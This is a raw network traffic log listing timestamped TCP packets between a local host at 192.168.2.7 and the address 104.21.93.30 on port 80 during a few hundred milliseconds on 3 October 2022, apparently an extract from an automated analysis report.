Oct 3, 2022 17:34:54.194590092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194617033 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194633007 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.194647074 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194660902 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.194677114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194706917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194737911 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194749117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.194765091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194777966 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.194802046 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194829941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194844961 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.194858074 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194897890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194927931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194943905 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.194956064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194966078 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.194987059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195015907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195044041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195056915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.195072889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195084095 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.195202112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195230007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195255041 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.195261002 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195291042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195318937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195337057 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.195346117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195359945 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.195375919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195424080 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.195801020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195837975 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195869923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195894003 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.195897102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195923090 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195947886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195947886 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.195974112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.195998907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196014881 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.196023941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196042061 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.196049929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196075916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196093082 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.196099997 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196125984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196144104 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.196150064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196177959 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196201086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196208954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.196225882 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.196228981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196249962 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.196257114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196295023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196306944 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.196321964 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196348906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196393013 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.196774006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196809053 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196836948 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196865082 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.196866035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196888924 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.196897030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196919918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.196963072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.205118895 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.213578939 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.215267897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215313911 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215354919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215389967 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.215414047 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.215539932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215568066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215595961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215610981 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.215626001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215656042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215666056 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.215683937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215713978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215723991 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.215747118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215776920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215804100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215816021 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.215833902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215845108 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.215864897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215893984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215922117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215935946 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.215951920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.215960026 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.215981007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.216008902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.216017962 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.216039896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.216067076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.216094017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.216101885 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.216120958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.216126919 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.216150999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.216180086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.216187954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.216211081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.216239929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.216253042 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.216268063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.216295958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.216335058 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.217232943 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.218399048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218437910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218470097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218476057 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.218502045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218529940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218558073 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.218559980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218583107 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.218590975 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218621016 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218651056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218703032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218705893 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.218729973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218758106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218772888 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.218785048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218816042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218842030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218858004 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.218868017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218894958 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.218909979 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218936920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218962908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.218977928 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.218992949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219021082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219038963 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.219062090 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.219213009 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219244957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219275951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219305038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219311953 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.219357967 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.219419956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219454050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219485044 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219516039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219542027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219551086 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.219571114 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.219738960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219774008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219822884 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.219923019 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219955921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.219985962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.220004082 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.220015049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.220045090 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.220088959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.231170893 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.232783079 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.233514071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233547926 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233573914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233598948 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233623981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233650923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233675957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233688116 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.233688116 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.233702898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233716965 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.233732939 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233741999 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.233760118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233783960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233809948 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233824015 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.233834982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233845949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.233860970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233886003 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233911037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233936071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233937025 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.233949900 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.233963013 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.233989000 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.234014034 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.234026909 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.234040022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.234051943 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.234230995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.234256983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.234270096 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.234282017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.234308004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.234328985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.234344959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.234370947 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.236100912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236130953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236155033 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236180067 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236196041 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.236206055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236222982 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.236233950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236260891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236284971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236310005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236324072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.236357927 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236385107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236411095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236428022 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.236435890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236453056 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.236464024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236489058 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236514091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236536980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236557007 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.236557007 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.236562014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236587048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236610889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236624002 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.236637115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236646891 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.236665010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236905098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236932993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236952066 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.236960888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.236978054 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.236984015 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237010956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237035036 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237051010 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.237061977 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237090111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237114906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237128973 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.237128973 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.237144947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237173080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237198114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237211943 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.237224102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237234116 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.237252951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237279892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237307072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237332106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237356901 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237373114 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.237373114 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.237384081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237391949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.237411976 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237438917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237451077 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.237464905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237490892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237505913 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.237517118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237543106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237579107 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.237693071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237719059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237746000 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.237759113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.237823009 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.237987041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238015890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238039970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238058090 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.238065958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238090992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238115072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238141060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238167048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238174915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.238174915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.238198996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238225937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238239050 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.238255024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238264084 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.238286018 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238311052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238323927 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.238337994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238363981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238388062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238403082 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.238413095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238428116 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.238440037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238466978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238480091 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.238492966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238518953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.238533020 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.238539934 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.241873980 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.242866039 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.255455971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.255496025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.255543947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.255572081 CEST	80	49702	104.21.93.30	192.168.2.7
